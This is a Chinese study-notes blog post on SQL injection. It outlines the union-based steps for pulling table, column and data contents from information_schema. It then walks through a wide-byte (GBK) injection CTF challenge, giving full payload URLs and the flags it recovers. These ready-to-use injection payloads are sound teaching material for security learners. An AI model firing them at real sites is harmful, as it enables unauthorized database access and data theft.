SQL注入基础学习笔记

SQL注入基础

一、sql注入一般步骤

1.测试注入点是否存在,判断为字符型还是数字型,如何闭合
输入‘页面报错
or 1=1%23
and 1=1%23为真,and 1=2%23为假;
2.获取查询字段数
用order by 语句进行排除
3.判断可回显得字段位置
union select联合查询
4.获取数据库名等信息
database(),version()等
5.获取表名
information_schema.tables

?id=0 union select group_concat(table_name),2,…,n from information_schema.tables where table_schema=database()%23

通过information_schema库中的tables表查询当前数据库的所有表信息,group_concat()函数能够将字段值打印出来,以逗号分隔。

6.获取表中字段名
information_schema.columns

?id=0 union select group_concat(column_name),2,…,n from information_schema.columns where table_schema=database() and table_name='xxxx'%23

通过information_schema库中的columns表查询xxxx表的所有列信息。

7.获取所需数据

?id=0 union select group_concat(col1),group_concat(col2) from xxxx%23

直接联合查询xxxx表内col1,col2两列所有信息。

二、sql宽字节注入练习

1.题目
2.解题步骤
(1)首先,这是宽字节注入,用order by语句查询字段数,如图查询到3时显示错误,所以字段数为2;

http://chinalover.sinaapp.com/SQL-GBK/?id=1%df' order by 3%23

在这里插入图片描述
(2)联合查询判断可回显字段位置

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,2%23

在这里插入图片描述

(3)获取数据库名称为sae-chinalover

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,database()%23

在这里插入图片描述
(4)获取表名

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()%23

在这里插入图片描述
(5)查询gbksqli表的所有列信息
其中表名gbksqli要用十六进制编码为67626b73716c69并在前面加上0x后进行查询

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 0x67626b73716c69%23

在这里插入图片描述
(6)联合查询gbksqli表内flag列信息,得到flag为nctf{gbk_3sqli}

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(flag) from gbksqli%23

在这里插入图片描述
注:在其他表里还有一个flag,方法同上,另一个flag为flag{this_is_sqli_flag}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值